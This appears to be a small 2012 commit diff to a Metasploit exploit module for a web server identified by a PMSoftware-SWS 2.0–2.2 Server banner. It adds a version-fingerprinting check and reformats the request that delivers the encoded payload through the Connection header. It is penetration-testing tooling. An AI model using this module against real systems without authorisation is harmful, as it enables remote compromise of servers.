This check can be handy

unstable
sinn3r 2012-07-22 03:34:16 -05:00
parent 5fd58eda71
commit b527356e00
1 changed files with 12 additions and 3 deletions

View File

@ -62,6 +62,15 @@ class Metasploit3 < Msf::Exploit::Remote
'DefaultTarget' => 0))
end
def check
res = send_request_raw({'uri'=>'/'})
if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
sploit = payload.encoded
@ -75,9 +84,9 @@ class Metasploit3 < Msf::Exploit::Remote
connect
send_request_cgi({
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'uri' => '/',
'version' => '1.1',
'method' => 'GET',
'connection' => sploit
})